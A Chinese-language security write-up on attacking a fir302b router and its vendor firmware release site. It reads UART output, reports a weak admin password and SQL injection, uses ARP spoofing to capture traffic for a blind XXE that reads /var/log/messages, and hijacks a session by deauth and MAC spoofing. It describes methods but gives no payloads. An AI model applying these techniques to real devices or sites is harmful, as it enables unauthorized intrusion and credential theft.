0×00 固件发布站弱口令+sql注入
fir302b的板子还是比较友好的，拆开能直接看到GND TX RX VCC，虽然没有针脚。
我手头只有一块ttl开发板和三根杜邦线,直接连上UART：
自检结束后,能看到两处post请求,把当前的设备指纹信息、终端账号密码、云账号密码发送到了一个地址
这个url是一个固件发布站，后台存在弱口令
在查询工号处存在注入
昨天测试的时候，发现还有个spring框架的任意文件读取漏洞，今天已经修了
0×01 固件发布站SOAP-based blind xxe
抓路由器的数据包看一下完整的请求

^C905 packets captured 905 packets received by filter 0 packets dropped by kernel 这里是因为用的交换机，直接混杂模式抓不到包
那么扫上层网段得到路由器IP，然后找到网关，双向欺骗后，重启路由器，tcpdump抓包，等待路由器自检结束
wireshark过滤http请求得到完整数据包
发现能自定义DTD，能加载外部实体：
那么 读一下/var/log/messages
0×02 认证会话劫持漏洞
说起来这算是为了防御arp嗅探泄露cookie而产生的一种漏洞
简单的测试了一下，deauth中断client连接后,session没有立即失效，伪造client mac地址即可进入路由器
